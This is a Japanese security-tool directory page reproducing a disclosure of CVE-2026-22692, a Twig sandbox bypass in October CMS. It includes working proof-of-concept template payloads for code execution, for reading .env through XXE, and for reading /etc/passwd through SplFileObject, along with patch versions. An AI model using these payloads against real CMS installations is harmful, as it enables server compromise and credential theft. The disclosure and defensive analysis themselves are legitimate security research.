Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22692 — CVE-2026-22692 - collect()->mapInto() を介した重大な Twig サンドボックスバイパスにより、October CMS で RCE/LFI/XXE が可能 | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2026-22692
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - collect()->mapInto() を介した重大な Twig サンドボックスバイパスにより、October CMS で RCE/LFI/XXE が可能

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22692: collect()->mapInto() による重大な Twig サンドボックス回避で RCE/LFI/XXE を許容 (October CMS)

概要

フィールド詳細
CVE IDCVE-2026-22692
深刻度中 (CVSS:3.1 4.9)
アドバイザリGHSA-m5qg-jc75-4jp6
影響を受ける製品October CMS (<= 4.1.4, <= 3.7.12)
脆弱性の種類Twig サンドボックス回避 -> RCE、LFI、XXE
発見者Lukasz Rybak

CWE 分類

  • CWE-693: 保護機構の欠如
  • CWE-611: XML 外部エンティティ参照の不適切な制限
  • CWE-74: 下流コンポーネントで使用される出力における特殊要素の不適切な無害化 ('インジェクション')

要約

October CMS の Twig サンドボックス (セーフモード) には重大な脆弱性が存在し、テンプレート編集権限を持つ認証済みユーザーがセキュリティ制限を回避して、任意の PHP コードを実行 (RCE) したり、サーバー上の任意のファイルを読み取ったり (XXE/LFI) することが可能になります。

詳細

根本原因

根本原因は October\Rain\Support\SafeCollection にあります。このクラスは CallsAnyMethod インターフェースを実装しており、System\Twig\SecurityPolicy に対して、コレクションオブジェクト自体の標準的なメソッド許可リストをバイパスするよう指示します。

SafeCollection は呼び出し可能オブジェクト (callable) の直接実行を防ぐために引数をフィルタリングしようとしますが、mapInto($class) メソッドをブロックしません。mapInto メソッドはコレクションを反復処理し、指定されたクラス名をインスタンス化します:

root@kitploit:~
new $class($value, $key);

これにより、攻撃者はアプリケーションに認識されている任意のクラスをインスタンス化できます。

脆弱性 1: RCE (関数実行)

System\Twig\SecurityPolicy は、すべてのオブジェクトの __toString() メソッドを明示的に許可リストに登録しています。攻撃者は、Psy\Readline\Hoa\Xcallable (呼び出し可能オブジェクトをラップする) をインスタンス化し、それを GuzzleHttp\Psr7\FnStream (その __toString メソッド内で _fn___toString プロパティを介してユーザー定義関数を呼び出す) 内にラップすることで、Twig でオブジェクトを出力するだけで、引数を必要としない任意の PHP 関数 (例: php_uname、phpinfo) の実行をトリガーできます。

脆弱性 2: XXE (任意ファイル読み取り)

SimpleXMLElement クラスは、コンストラクターの2番目の引数として libxml オプションフラグを受け入れます。mapInto() はコレクションのキーをコンストラクターの2番目の引数として渡します。キーが 2 (LIBXML_NOENT に対応) のコレクションを作成することで、攻撃者は SimpleXMLElement で外部エンティティの置換を有効にでき、即座に XXE が発生し、システムファイルを読み取ることが可能になります。

脆弱性 3: LFI (SplFileObject による任意ファイル読み取り)

ネイティブ PHP の SplFileObject クラスを使用した、より直接的なローカルファイルインクルージョン (LFI) の脆弱性が存在します。攻撃者は mapInto を介してファイルパスと読み取りモードを渡して SplFileObject をインスタンス化することで、反復処理可能なファイルオブジェクトを取得します。このオブジェクトを collect() ヘルパーに渡すと、(フレームワークのコア内の iterator_to_array を介して) 即座に反復処理がトリガーされ、サンドボックスのメソッドブロックポリシーをバイパスします。これにより、XML サポートや特定のベンダーライブラリを必要とせずに、Web サーバーがアクセスできる任意のファイルを読み取ることができます。

PoC (概念実証)

前提条件

  • October CMS バックエンドへの認証済みアクセス (または Twig テンプレート編集を許可する任意の機能)
  • CMS_SAFE_MODE=true

ペイロード 1: RCE (php_uname の実行)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

ペイロード 2: XXE (.env ファイルの読み取り)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

ペイロード 3: LFI (SplFileObject による /etc/passwd の読み取り)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

影響

リモートコード実行 (RCE)、ローカルファイルインクルージョン (LFI)、XML 外部エンティティインジェクション (XXE)。

  • RCE: PHP コードの実行を許可します (FnStream ガジェットでは引数なしの関数に限定されますが、他のガジェットで拡張できる可能性があります)。
  • LFI / XXE: 複数のベクトル (SimpleXMLElement または SplFileObject) を介して、Web ユーザーがアクセスできるサーバーファイルシステム上の任意のファイル (/etc/passwd、データベース設定、.env などを含む) の読み取りを許可します。

これは、信頼できないユーザーまたは半信頼のユーザーが CMS テンプレートエディターにアクセスできるすべての October CMS インストールに影響し、実質的にシステム管理者 / Root レベルの権限へ権限昇格することを可能にします。

影響を受ける製品

  • パッケージ: octobercms/october (Packagist)
  • 影響を受けるバージョン: <= 4.1.4、<= 3.7.12
  • パッチ適用バージョン: 4.1.5、3.7.13

参照

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

免責事項

この CVE は、協調的な脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。

ツールをダウンロード